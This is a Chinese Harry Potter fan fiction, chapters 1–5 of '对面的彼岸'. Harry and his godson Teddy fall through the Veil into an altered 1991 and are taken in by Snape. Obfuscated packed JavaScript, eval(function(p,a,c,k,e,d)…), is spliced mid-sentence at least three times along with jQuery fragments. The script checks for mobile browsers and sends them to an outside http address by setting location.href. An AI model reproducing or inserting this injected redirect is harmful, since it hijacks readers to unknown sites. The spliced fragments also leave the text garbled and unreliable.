《(HP)对面的彼岸》 1. 世界改变了 哈利完全没有头绪为什么事情会演变成现在这样。 如果,该死的他没有把泰迪独自一人留在家里。 如果,他有认真把马尔福的警告当一回事。 如果,他给屋子多加几个高级防护咒。 如果,…… 哈利当然可以在脑子里无止无尽地后悔,可时间上不允许他再犹豫下去。 “昏昏倒地!” 只是心中默念,甚至没从长袍里抽出魔杖,就看到如同在播放慢动作一般——亚克利斯脸上扭曲的狞笑刹那间凝固,抓着泰迪衣领后襟的手渐渐松开,接着却仿佛心有不甘似的轻轻推了一下身边吓呆了的孩子。在孩子向后摔倒的同时,那疯狂的视线却全然没有离开哈利——很显然,即使被击昏,他对于哈利脸上可能出现的崩溃仍是倍感期待。 在瞬间的呆滞后,傲罗良好的训练使哈利迅速反应过来,一个大跨步冲过去,在泰迪穿过石拱门那破破烂烂的帷幕前一把把他带回自己的怀里护着。 但为时已晚,他们太靠近拱门了。 哈利只觉得有一股引力把自己拉向拱门的对面,毫无反抗之力。 随之,巫师界的救世主——哈利·波特就这么和他的教子一起消失在石拱门的另一边。 在身子完全没入拱门的最后时刻,哈利仿佛看到了食死徒脸上未褪的恶意痉笑,也听到了混乱中夹杂着的年轻傲罗们的惊呼声,可他唯一能做的是死死地搂住泰迪,把他瘦小的身子尽量往自己的怀里塞——这见鬼的就和跳入冰冷的湖水里一样寒气直窜。 当一切真实的声音远去后,耳边开始充斥着意义不明的喃喃低语。 他曾听到过这些充满诱惑的低吟,也知道幕帘后面连接着什么——那一次,他眼睁睁看着小天狼星掉入这扇拱门,再也没有回来——拱门的彼方,据说是死的世界。 那么他也会死么?或者说,已经死了?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156339|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 讽刺的是,阿瓦达索命咒屡次三番没能要了哈利·波特的命,一扇闲置在神秘事务司里的来历不明的拱门倒是完成了这项伟大的任务。 可是,缠绕在皮肤周围挥之不去、粘粘糊糊的冰冷感暗示着生命的活力。尽管很没说服力,谁知道死后的人是不是真的没有五感呢。 当然身为格兰芬多的狮子,哈利绝不畏死,但对于才5岁的泰迪却是充满了愧疚。他能感受到泰迪在自己衣袍下紧紧攥着自己,浑身颤抖,可怜的孩子到现在还没缓过劲来。 “对不起。”哈利低头亲吻了下泰迪柔软的红头发,一边迷迷糊糊心想着今天吃早餐时貌似头发还是金色的。然后他察觉到孩子清澈得毫无杂质的灰色眼眸正直直望着自己,脸上掠起一丝歉然的微笑,思绪却逐渐走向茫然——至少这样的死亡并不痛苦。如果自己真的死了,也许,他们也会在那里…… 然后,猛地眼前一亮,世界改变了。 2. 世界改变之前 魔法部傲罗司内,年轻的傲罗司司长正一边嘴里哼着不成调的小曲,一边加快赶完最后几份需要签署的文件。 是的,这位黑发凌乱,年轻而刚毅的脸庞上嵌着两颗祖母绿眼眸的傲罗司司长,便是在巫师界被誉为“终结黑暗的男孩”——或者说是曾经的男孩——哈利·波特。 战后巫师界恢复和重建的速度是不可思议的快,而受现任魔法部部长金斯莱邀请,在接受一年象征性的傲罗训练后,哈利成为了傲罗司有史以来最年轻的司长。于是,本欲渐渐退出人们视线的黄金男孩,再次活跃了起来——尤其是在他成功组织傲罗逮捕了几个逃亡的食死徒,外加预言家日报每星期至少有一次“最年轻的傲罗司司长——黄金男孩再发神威”“救世主之能,谁敢质疑?”等诸如此类不惜本钱的大肆宣传下,即使本人对此烦不胜烦,其声望仍是不负众望再次提升到一个新的高度。 本来在伏地魔死后,残存的食死徒不是死于战争中就是尽数落网。但隐藏在阴暗旮旯里的漏网之鱼总是有那么几条的,而隔三岔五的傲罗司就会收到消息说几个逍遥法外的食死徒又有蠢蠢欲动的迹象了——如果无视那高达90%的误报,大多数只是一些狂热的崇拜者为了一睹救世主风光而已——刚走马上任的哈利就不得不四处奔波,只为去追捕几个天知道是不是子虚乌有的食死徒。 不过以上这一切都构不成哈利的烦恼。现在的他满脑子就是想着快点把这些无聊的琐事做完丢给猫头鹰,几十公里外的夫妻吵架爆了坩埚的这类小意外干傲罗司司长何事,自己家可爱的教子还在红着眼撅着嘴闹别扭呢。 自从泰迪的祖母在年前去世后,哈利便自行履行自己身为教父的职责,让小家伙搬来和他一起住。基于教子有着和自己类似的经历,哈利对小泰迪的宠爱自是不言而喻。虽然他在照顾孩子上实在是缺乏经验,在闹了无数次、甚至是至今都被乔治·韦斯莱不时拿来取笑的笑话后,至少这一年来小泰迪仍是被养得白白胖胖的讨人喜欢。 于是我们可以自豪地说,哈利绝对是个称职的教父。如果排除他因为忙得不可开交不得不经常把小泰迪独自留在家里的这一点的话。也不是没考虑过自己工作时把泰迪托付给韦斯莱夫人照顾——那位和善的女士向来把哈利的事当作自己儿子的事来尽心尽力——可祖母去世后小泰迪只肯和哈利亲近的状况使得他只得暂时打消这个念头。 哈利把最后一份文件扔给猫头鹰,坐直身子,懒懒地伸了个懒腰,一边心里寻思着回家之前是不是该先跑一趟韦斯莱玩笑店——去见见罗恩和乔治,赫敏最近怀孕了,为此他没少受罗恩的猫头鹰骚扰,某人差点想把这个喜讯用猫头鹰发吼叫信告知全世界了——再讨几个小玩意来给小泰迪赔罪是个不错的主意,小孩子都吃这一套——顺便去找找有没有自写羽毛笔,他近来光是在文件上签名就签得手都快断了。 等等,泰迪今早是为什么而生气来着? 一脸迷惑地走出办公室,还在苦苦回想自己是不是忘了什么不该忘记的事的哈利,丝毫没注意到自己差点直接冲进某人的怀里。 “波特,我还以为当上傲罗司司长会让你长点脑子,很显然我太低估格兰芬多的愚蠢了。” 哈利抬起头,首先映入眼帘的是那头标志性的铂金短发,然后便是马尔福一贯冷漠而略显嘲讽的脸。 “啊,马尔福,是你。呃,对不起,撞到你了?”哈利胡乱朝他点了点头,心不在焉地打招呼。 战后清算食死徒时,马尔福一家除了卢修斯·马尔福直接被判于摄魂怪之吻外,德拉科和纳西丝都逃过了一劫,全靠哈利为此下了不少功夫——他是唯一一个知道德拉科并非本意加入食死徒的。因此,事后德拉科进入魔法部工作后,两人平时偶尔见面也就是点头之交,井水不犯河水,几年来倒也是相安无事。即使仍然年轻,但血淋淋战争影响的不只是他们的心态还有想法,两人的关系或许一辈子也不可能变成能直呼教名的亲近,却也不复当年针锋相对的敌对关系。 马尔福略一挑眉,似乎有些不满哈利漫不经心的态度,抿抿唇,结果还是没有开口。 “呃,如果没事的话那我先走了。”哈利也想不出和马尔福能有什么共同话题,与其尴尬下去不如快点闪人。 “波特。”平静的声音在背后响起,出人意料的不带丝毫嘲讽。 刚走没两步的哈利再次转过身,颇是有些莫名其妙——马尔福今天是吃错药了吗?以前他躲他比谁都快。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156340|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >几年来两人第一次面对面如此接近,哈利猛然发现自己居然和马尔福视线平齐,以前他明明得稍微仰头才能不对着马尔福的下巴说话,看来最近因为那个影响身高又拔高了些。 “虽然你可能会觉得我多此一举……”马尔福动作优雅地捋了捋长袍,轻哼一声,“可要是你不想你狂热的崇拜者们为伟大的救世主之死而泪流满面的话,最近你还是乖乖躲在坩埚里别随便抛头露面的好。” 闻言哈利微眯起眼,“你想说什么?马尔福?”恨他入骨想要他命的除了那些逃亡的食死徒外还能是谁,可马尔福应该早已彻底和食死徒断绝了关系才对。“你是不是知道些什么?” 马尔福微微一哂,“没错。别问我怎么知道的,反正我不是他们一伙的,也没那个意愿。亚克利斯似乎在谋划着什么,对象是谁我想也不必说了,你该知道你在食死徒眼中是怎样的钉子。” “当然是恨不得拔掉的那种。他们肯主动来找我碴也好,省得我还得费时间精力去一个村落一个村落的搜捕他们。”哈利不在意地搔搔头,“为此我的教子可是诸多怨言啊。” “总之我也算提醒过你了,”马尔福还是一副古井不波的表情,“你自己好自为之吧。” 哈利冲马尔福自信一笑,“放心吧,他们要来挑衅也得掂量掂量自己够不够能力,不是吗?” 马尔福从鼻子里嗤笑,没有反驳。他很清楚哈利敢如此放言不是因为他自大,而是放眼如今的巫师界,魔力比哈利强大的巫师可谓屈指可数,即使有往往也是活了几百年的隐世者,那也是只是基于几百年的魔力沉淀,完全不能和随时充斥在哈利体内澎湃而强大的魔力相比较。 “只要你别愚蠢到骑扫帚闯入魁地奇世界杯会场里当移动靶子就该感谢梅林了,死在那里没人给你收尸的。”马尔福冷笑着丢下最后一句话,留下哈利依然呆呆地站在原处。 接着哈利爆发了。 “哦,梅林,魁地奇世界杯!见鬼的我居然忘到九霄云外去了!”哈利慌乱地抓着自己的头发,“难怪小泰迪今早根本不理我,我前两周才说过要带他去看的,可现在连票我都忘了去拿。哦,该死的食死徒,该死的坩埚爆炸,我被你们害惨啦!”哈利绝望地对天狂吼。 3. 从坩埚里蹦出来 弥漫在空气中的浓郁药香味、阴暗的起居室,其沉闷程度和当年的魔药课有得一比。 可事实上这种令人窒息的威压感还真是来自同一个人的。 哈利忐忑不安地端坐在沙发上,无法判断这是不是另一个摄魂怪引起的噩梦——对面那个满脸阴沉,散发着阵阵拒人于千里之外的气息的原魔药课教授足以媲美最可怕的噩梦。 一手无意识地抚摸着泰迪浅绿的头发,再捏捏尚带有婴儿肥的白白嫩嫩的脸,哈利忿忿地想到,小孩子就是好,天塌下来也能当被盖——这不,小家伙正舒舒服服地枕着他的大腿呼呼大睡着。 那么,这是什么状况呢? 且不提为什么哈利回过神来就发现自己居然抱着泰迪跟魔药材料似的浸在一锅不断往上冒泡的魔药里。 (天知道这是不是一种新的谋杀手段——被魔药毒死,或被做成魔药。) 也不提为什么站在坩埚旁边以无比惊愕乃至震怒的目光瞪着他们的居然是斯内普。 (好吧,哈利承认自己曾妄想看到死去的父母,教父,朋友,甚至斯内普……但绝不包括一个“活生生”的斯内普。) 更别提现在相对无言的尴尬局面是由哈利一句傻冒似的发言造成的。 (说白了不过是他脑子乱得像被灌了好几瓶混乱药剂,结果一句没头没脑的“斯内普?!我是见鬼了吗?”完美地把斯内普蜡黄的脸色转为铁青色。) 短暂的混乱后,或许是因为小泰迪过于纯洁的无辜表情——当然,哈利怀疑说不定自己的碧绿眼睛也加了点印象分——也或许是因为没哪个刺客会笨到带个小孩幻影移行刺杀不成还掉到坩埚里去,反正斯内普没把他们交给傲罗,而是把一大一小不客气地赶到起居室里,哈利毫无异议地乖乖照做了,明显还震惊于斯内普在自己面前活蹦乱跳的事实。 但很显然,这不是唯一一件让哈利震惊不已的事。起因是他随意瞥了下摊开在沙发上的预言家日报。 1991年7月15日。 哈利眨眨眼,拿过预言家日报凑得更近些,再眨眨眼。 1991年…… 如同一只炸尾螺在眼前爆炸,哈利完全失去了思考能力。 他当然想得到斯内普不可能是死而复生。死人永远不可能复活,即使复活石也做不到。哈利不能无视这一点,那么现在是“过去”大概就是最好的解释。可真要接受起来就是另一回事了,别人都说掉进拱门的人必死无疑,但实际上他和泰迪却是活着来到了过去——说会死,是因为从来没人回去过吗…… 哈利神色复杂地凝视着这个他永生难忘的年份,就是在这年生日,他第一次知道自己是巫师,知道了自己在巫师界是怎样的存在。 如此说来,“现在”的哈利·波特应该还孤独地呆在德斯礼家,饱受欺凌,对自己身世一无所知。然后生日时收到入学通知,再过一个多月进霍格沃兹,历史会重演…… 不,这说不通,若自己真的回到过去,不可能完全和巫师世界没有交集,比如说今天和斯内普的“偶遇”。可哈利从没在斯内普记忆里看到过未来的自己,而且斯内普似乎对自己的样貌和头上的伤疤也毫无反应。 如果只是单纯回到过去的话。 他必须再确认一下。而能帮他解决这问题的最佳人选…… “也许你能回答我几个问题。”从刚才起就一直没什么明显表情变化的斯内普淡淡瞥了他一眼,率先打破沉默。 哈利猛地收回思绪,一连串的冲击完美地把他轰晕了,经过内心好一番挣扎,他下定决心道,“我想见邓布利多,有些问题我必须弄清楚。然后,我会告诉你们的。”在可能范围内,他暗道。 “我以为,我比较有权利现在就得到你的解释,包括为什么你和那个孩子会出现在我家……的坩埚里,以及,你们到底是谁?”听斯内普口气很是不满,“况且,你似乎认识我,但我不认为你……”说到这儿,斯内普厌恶地打量了下哈利,“……在我的认知里。” 难道要他现在坦白自己是大难不死的哈利·波特,可能是从未来回到过去,而眼前油腻腻的老蝙蝠也许下个学期就会成为他的魔药课教授然后平时对他除了刁难还是刁难可关键时刻还是会保护他到最后被邓布利多算计得很惨结果众叛亲离被伏地魔养的蛇咬死?哈利心头狂颤。 “不,说真的,我现在没法告诉你更多的了。为什么会来到过…呃,这里,事实上我自己也一头雾水。而这件事事关重大,我必须亲自和邓布利多说。当然,你也会在场。”哈利诚挚地说道。“这很重要,我需要邓布利多的帮助。” 斯内普定定地盯了他半晌,一言不发地站起疾步走开了。 其实,斯内普也不是那么不讲理的。哈利心想,只要对象不是劫盗者和哈利·波特的话。可这么一想,心头忽然涌上些莫名的悲哀。 他默默看着斯内普迅速写了张应该是给邓布利多的字条,走到窗边召来一只猫头鹰让它送去后,在原地呆了会儿,嘴唇抿得紧紧的,然后又回来重新坐下。 一时无语。 哈利疲惫地往后靠了靠,沾满魔药的长袍早就脱了,可湿漉漉黏糊糊的里衣还是让人难受得紧,真想立马跳浴缸里好好洗洗。低头看看泰迪,应该才5岁的孩子,现在外表上看来岁数和身长居然都差不多翻了一倍,下意识地问道,“你刚刚是在做增龄剂还是增长剂?” 斯内普双手交叉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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见斯内普陷入沉思,哈利也懒得去打扰他。觉得有些无聊而左顾右盼,第一次仔细打量起斯内普在蜘蛛巷的居所。要说以前他是绝对不可能被斯内普邀请来喝下午茶的,所以就算是意外,能接触到他的私生活倒也是件新奇事。 两张破了皮的沙发、一张被随意摊开的书本和各种试管药品占得满满的小圆桌、及几幅诡异的画像,是起居室里仅有的装饰。 绝对不够明亮,也很简陋,却干净、整洁。 视线再转回到眼前紧蹙眼眉的男人身上。僵硬的脸庞自然比七年后要年轻许多,甚至那头及肩长的黑发也不如印象中的油腻。唯一不变的还是那蜡黄的脸色、大大的鹰钩鼻,幽黑的眼眸空洞、又深邃莫测。曾经,这双眼睛总是带着恶意的目光看着哈利,仿佛对他恨之入骨。如今,在这瞳孔中凝淀的静谧,有着无法形容的存在,幻象破灭,希望变为绝望,沉默地爆发后静静地归于无尽黑暗——形成一片星海般的平静。 哈利静静地注视着他,本来有些郁闷的心情忽然一扫而空。 “也许这个问题我们也能顺便问问邓布利多?”哈利不怕死的,笑吟吟建议道。 4. 再次疼痛的伤疤 猫头鹰很快带回了邓布利多的回复,见面的时间定在三天后,由斯内普带哈利他们去霍格沃兹的校长室。邓布利多的回复使哈利松了口气,那么接下来就是等待了。 斯内普倒也没把哈利和泰迪赶出蜘蛛巷——算他有点良心,哈利想——而是指定一间空房给他们当作客房,顺带以哈利认为很是凶神恶煞的表情表达了下他对外人在自己家里不经允许四处乱跑的厌恶,便信步走出房间,把自己又关进了实验室里。 等斯内普完全退出视线后,哈利才转过头看看屋里。房间不大,里面的家具只有一张半大不小的床及一张破旧的写字桌,上面都细细积着层灰,应该是间闲置已久的客房。虽然不至于有霉味,但各个角落里蛛网结了不少,还是需要做些必要的打扫,或许收拾干净了这房间会没那么阴暗吧。哈利半倚在门上,心里做着诸多打算,视线下意识地跟着小泰迪好奇的身影四下转动,在黄昏光晕的笼罩下,他的影子伸展得异常的长,窗外不时传来乌鸦的悲鸣,一时居然有些凄凉感。 “泰迪,过来。我要先打扫下房间。”见泰迪乖乖地站到一边,哈利拿出魔杖,默念着清洁咒。 没反应。 嗯?难道他念错咒语了?哈利站直身,再次挥动魔杖,这次念出了声,“清理一新。” 还是没反应。 这下哈利慌了,回到过去魔法会失灵?可是他明明还能感觉到体内澎湃的魔力在运转。那么,问题是出在…… 放下举着魔杖的手,集中意志于一点,清洁咒的咒语在脑中化为一串古老的文字,旋转着附在魔力上。眨眼间,布满尘灰的房间光洁如新,引得小泰迪在一旁兴奋得连连惊叹。 瞪着手上的魔杖,哈利心头有点混乱——为什么他一直没察觉到自己和魔杖的联系彻底断了?现在在他手里拿着的与其说是魔杖,不如说是根木棒比较恰当。 难道穿越时空的附带赠品是魔杖失效?哦,梅林,这个玩笑也开得太大了吧。 接下来的半天哈利根本不知道自己是怎么过的,晚餐时斯内普坐在另一侧彻底无视他们的存在,哈利倒是乐得如此。他自己是完全没有胃口,随便塞了点食物下肚,味如嚼蜡——魔杖失效给他带来的打击绝不亚于穿越时空。直到睡觉时间,他还是兀然躺在床上,两眼怔怔地凝视着天花板——事实证明,即使是大名鼎鼎的哈利·波特,一天里受到太多次打击也不是那么容易消化的。 他曾经失去过一次他的魔杖,难道又得再失去一次吗? 那时魔杖断成两截,他觉得自己的心也被掰成两半。这次他也并不好受,只是不至如此。可能因为心底还存在着一丝侥幸——能修好第一次就能修好第二次。 “哈利。”耳边忽然传来一声低低的、软绵绵的童音。 “怎么还没睡,泰迪?”哈利转过头,对上泰迪清亮亮的灰眼睛。 “我们以后都会住在这里吗?不回家了吗?”小家伙的声音有些郁闷。 哈利想跟他说他们不过是暂住——反正斯内普大概宁愿去吞一只蜘蛛也不会那么好心长期收留他们的——可到嘴边的话竟一时哽住了。不管是不是暂住,事实上他们的确是不能回家了。 “我想念我的路德维了,不知道它会不会来找我。”泰迪闷闷地把半个脸捂在被子里,“哈利你不是说过猫头鹰找人是很厉害的吗?这里离家里远吗?可能它得花几天才能飞来?” 那是一般情况下,现在这样恐怕是想找也找不着吧。猫头鹰能穿越时空吗?哈利苦笑着暗自叹气。 “我还想去看魁地奇世界杯,乔治和罗恩说这是英国几十年来第一次入决赛呢。”幼嫩的小脸从被窝中露出来,两个浅显的小酒窝明晃晃的。“还有哦,不知道赫敏会生个男孩还是女孩呢?我觉得还是男孩子好,等他大点我可以教他玩魁地奇!”小孩子的心情还真是说变就变,前面还在郁闷回不了家,现在已经开始畅想未来了。 “泰迪,嗯,有些事我想我得告诉你。”哈利欲言又止,觉得实在是难以解释如今匪夷所思的状况,毕竟连他一个成年人也会不知所措,何况是一个心智不过5岁的孩子?他无法想像满怀期望的泰迪因此倍感失落的样子。他的泰迪,可以的话,他是不会允许这种事的。 但是,除非奇迹发生,这种事又怎么可能瞒得下去——泰迪迟早会发现两个时空的差别。他从来是个聪敏的孩子。 “什么?” “其实,这里,呃,不是我们以前的世界。” 他顿了顿,小心斟酌着用词,才继续说道。 “这里没有我们的家,没有乔治、罗恩,没有赫敏,”哈利补充了一句,“现在也没有魁地奇世界杯。”略感心痛地看着小家伙一瞬间变得失望的表情,心中懊悔的情绪泛起——也许他太冲动了。 哈利凝视着泰迪仍有些似懂非懂的脸,伸手理了理孩子柔顺的细发,“你会怪我吗,泰迪,都是因为我才让你遇到今天那种危险。而且可能我们永远也回不去了。”来到这么一个明明应该是熟悉的,如今却陌生得令人心寒的世界。哈利甚至不敢保证自己是否有能力保护好泰迪,看来他也不是什么合格的教父,也许小泰迪不会再理自己了,哈利悲哀地想到。 可是出乎意外的,泰迪只是定定地看着哈利,也不开口,微微垂下眼睛,稍稍移动身子往哈利挨近过来,又抬起眼,眼里闪动的是孩子特有的清澈,然后从被子里伸出双手,勾住哈利的脖子,把脸埋进他胸口,传出闷闷的一句,“我只要和哈利在一起就好了。” 哈利有些受宠若惊,大是感动地回抱住泰迪小小的身躯,安抚地拍拍他的背部,突然想起另一件事,“对了,泰迪,你有没有觉得身体哪里不舒服之类的?”五岁的身体猛然长到十岁左右大,难道不会有任何影响吗? “唔……没有。不过,感觉怪怪的。”灰眼睛扑闪扑闪的,显得有些疑惑。 “怪怪的?” “嗯,好像看东西不一样了,说不清。” “总之,你要是哪里不舒服了千万别忍着,记着第一时间告诉我,知道吗?”哈利把泰迪拉开些距离,认真地说道。等泰迪乖乖点头后,便伸手把被子往上扯了点,“那就睡吧,已经很晚了。晚安。”他吻了吻泰迪的额头,把头重新枕在枕头上,闭上双眼,听着身旁很快传来的平稳的酣睡声,不一会儿也睡意朦胧,迷迷糊糊起来。 他静静地潜藏在冰冷的深渊底下,窒息的死气令他的灵魂颤动不已。 哦,是的,快了,可他现在必须耐心等待。 他用力撕下身上的衣服,右手魔杖一挥,左手里顿时多了一个温热的东西,湿淋淋的。不过他不在意,捏碎它,然后涂到自己身上,顺着身体细细画出古老的纹路。 高空,劈裂阴霾天空的闪电照亮了四周。 满眼腥红。 他欣喜地接受这雷电的怒吼,爆发出阵阵疯狂的大笑,震得这个世界都在索索发抖。 忽然,他收敛起笑声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156342|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓缓回过头,目光上扬,直直望向虚空——那双赤红的眼瞳比任何时候更诡异无常。 五官模糊的脸庞上浮起一缕惊讶,伴随着诡邪的笑意。 “为什么,会是你?” 强烈地恶意猛然涌来,随之而来的就是久违的头痛欲裂——就像有什么在他头上撞击,痛楚一轮轮地向全身蔓延。 他大声喊叫,想摆脱这一切,可是身体却仿佛被禁锢住,动弹不得。 “哈利!哈利!” 远远的,好象是泰迪的喊声,他已经分不清这是不是现实,朦朦胧胧地奇怪为什么泰迪还带着哭腔。他只想对他笑,想拥他入怀,安慰他说我在这儿别哭了。 这么挣扎一想,眼前的红雾刷的散去,终于醒转过来。 他还是不能思考现在的境况,只是感受到身前的温暖,便不自觉的地让尚在搐搦着的身躯凑前,哆嗦的手终于抓到一只手臂,便紧紧攥着不放,头跟撕裂似的刺痛,令人作呕。 “快张开嘴呼吸!不要憋着气,对,就这样……”带着命令的声音有些沙哑,感觉到一只手带些笨拙地抚着自己的背,哈利只能本能地随着指示张开嘴,大口喘气,“很好,接着呼吸。慢慢冷静下来。” 良久,仍有些惊魂未定的哈利终于意识到自己正半跪在地上,全身痛得麻木。 “你要抱到什么时候?”隐含怒气的声音从头顶传来。 哈利猛一怔,抬头看到斯内普杀人的目光时,惊觉自己死命抱着的居然是斯内普时,反射性“啪”地松开手,一下子耳根发烧,尴尬得半天说不出话来。 “对……对不起。”哈利缩缩脖子。 斯内普鼻子里哼了一声,脸色还是很不好看。 哈利正想开口说什么,忽然一团金色猛地冲进他的怀里,差点没把他撞倒。 “呜呜,哈利,我好怕……还以为你出事了,怎么叫也叫不醒,呜呜……”泰迪紧抱着哈利的脖子,抽抽噎噎地哭诉道。 “我没事。放心。”哈利温柔地安慰道,任由他抱着自己哭,再次转向斯内普,“我……怎么了?” “这小鬼刚刚哭着跑来找我,说你捂着额头在床上又是尖叫又是打滚,可偏偏怎么也叫不醒。”斯内普没好气地解释道,视线狐疑地扫过哈利的额头,“你是做恶梦了?” “唔……”哈利避开他的视线,伤疤上灼热的疼痛感还在阵阵袭来——那真是最糟糕的恶梦。 “你梦到了什么?你以前做恶梦也会这样的吗?”某人不依不饶。 哈利迟疑了一下,搂着泰迪的手紧了紧,回避了问题的前半部分,“好几年前有过,差不多的症状。可是,很久……没有做过了。”——自从伏地魔死后。 短暂的沉默,接着响起脚步声,渐远然后渐近,一个水晶小瓶被递到哈利的眼前。“这是无梦药剂。喝了它睡觉去。” 哈利呆呆地接过瓶子,有些不敢相信地看向给他瓶子的黑发男人。 “所以你的名字是……哈利?”低沉、迟疑的语气。 哈利浑身巨震,碧绿的眼睛怔怔地看进那对深不可测的玄黑眼眸。 他果然知道哈利波特…… 斯内普没有等他的回答,也没再说什么,一翻袍,径自离开了房间。 哈利五味杂陈地望着他离开,握紧手中的瓶子,忽又回想起先前的梦,眯起了双眼。梦里的人,那双嗜血的红眸,就算是化灰他也不会认错——伏地魔,居然还是有身体的。 5. 我是哈利·波特 “哈利!” “嗯?”正埋首在报纸堆,准确说来是差不多被埋在成千上百份预言家日报里的哈利抬起头,看着自己的教子蹬蹬地跑过来,手里极具弹性的非洲蛇鼠皮一上一下跟着小家伙的步调跳动着。 “看到西弗了吗?我在储藏室里找到这个,想问问他呢。哈利你知道是什么吗?” 哈利先是瞪大双眼,接着一手扶额,仰天长叹,“不是吧,又来了……” 其实两天前当他看到泰迪不声不响的竟成了斯内普的小尾巴——走哪儿跟哪儿连实验室都能溜进去时惊奇得合不上下巴。 连自己也从来没得过如此待遇的哈利不否认他曾经有过狠狠掐住斯内普的脖子大力甩的冲动——他怎么敢随便诱拐别人的教子?! 脸色愈加阴沉的斯内普,三番几次以眼神恐吓未果后,居然忍住没有发火乃至默许了泰迪的追星,不,追尾行动。 见此一幕的哈利决定有必要发明一个“合嘴咒”,长时间大张着嘴巴太傻冒了,而且容易脱臼。 再比如说,不过是短短三天的时间,泰迪对斯内普的称呼就经历了由斯内普先生到西弗勒斯再到西弗的伟大转变。 好吧,哈利很肯定,泰迪会成为一个优秀的格兰芬多的——别说把斯内普奉为“魔药课的噩梦”的格兰芬多小狮子们了,有勇气一天到晚黏着斯内普,不怕被他那张毒嘴毒死的,斯莱特林的小蛇们里都找不到一条。 经过心里反复不断的斗争与反斗争,总而言之,已经见怪不怪彻底麻木的哈利很认命地接受现实,虽然他偶尔还是会无语问问梅林,他怎么从来不知道油腻腻的老蝙蝠能受小孩子的欢迎?这几率简直就该比哪天费尔奇忽然能用魔法了还要低才对。看来以前在霍格沃兹的六年都白过了。不,或许他该换个角度想想,可能是他教子的爱好比较与众不同…… 哦,够了,打住! 话说回来,那时他本以为被斯内普看破了身份,第二天甚至做好心理准备迎接斯内普的轰炸。 可出乎意料的,早餐时斯内普只是默默地盯了桌上热腾腾的培根煎蛋几秒,便闷不吭声地坐下来,低头垂眼,视线不离餐盘,执起刀叉,以一贯优雅地姿势悠然进餐,仿佛昨天什么也没发生过,权当坐在另一头给泰迪切面包、时而偷偷往他方向瞄一眼的哈利是空气里的一颗尘埃。 哈,被无视了。 总觉得从昨晚起心里一直七上八下的自己就像个傻瓜似的。哈利郁郁地想道,重重地叉了一根香肠塞入嘴里。 到底心里还是有些怅然若失。逃过了这一劫,那下一劫呢? 因为,现在他知道,这个世界是陌生的,这个过去是陌生的,连带着斯内普也算是陌生的,实在是太寂寞了。 打发走兴致旺盛的泰迪,哈利失神地环视了下随意摊开在四周的预言家日报——为了找出这些报纸他可是把斯内普的储藏室翻了个遍,对此斯内普不置可否,哈利也就当他的沉默是默认了——整整11年份,足以告诉他许多关于这个世界的情报。 他一直以为,这里就是他熟悉的过去,除了他和泰迪这个意外因素,一切都应该按着原定的轨迹前进着。 但那天再次疼痛的伤疤,梦里出现的有着身体的伏地魔,不啻于打了个晴天霹雳。 现在的伏地魔别说拥有身体了,难道不是应该只剩一小部分的灵魂,躲在某个旮旯里瑟瑟发抖、苟延残喘吗? 那这个伏地魔是怎么回事? 一股莫名而难以言喻的恐惧从脚底蔓延上来,哈利根本不敢往下去想,只好分散精力去翻以前的报纸,唯一的念头就是希望这些报纸能给他个答案。 答案出来了。哈利却不知是该喜该忧。 伏地魔的确消失了,不是因为被哈利·波特打败,而是毫无前兆的独自消失在人们的眼前,甚至未带走一兵一卒。食死徒们陷入了失主的恐慌,魔法界的巫师们则以为伏地魔知难而退,因此大肆庆祝。哈利特意查了下伏地魔消失的那天,大大的“1981年10月31日”几个字真是刺眼至极。 原来,什么大难不死的男孩,什么活下来的男孩,根本就不存在。 不,哈利·波特这个人应该还是存在的,不同的也许只是套在他身上的光环没有了。多好啊,这可是当年的哈利可望而不可得的。 至于伏地魔,哈利冷哼,他会是轻易放弃建立纯血帝国的主吗?否则当年也不会…… 依然被复杂的情绪纠结着,哈利蜷缩在沙发上,拧着眉头苦苦思索一肚子的疑团,浑然不觉黑发的男人不知何时冷漠地站到他身边,看着满地的报纸狂皱眉头,“准备一下,我们等会儿就走。……不收拾好就别想走。”扔下硬梆梆的一句话,斯内普甩袍就走。 “哦,好。”被打断沉思的哈利一个激灵从沙发上跳起来,手忙脚乱地把报纸叠好收起来,“我们怎么去?” “飞路粉。” 再次踏进霍格沃兹,进入有着邓布利多气息的校长办公室,哈利简直有种流泪的感动。 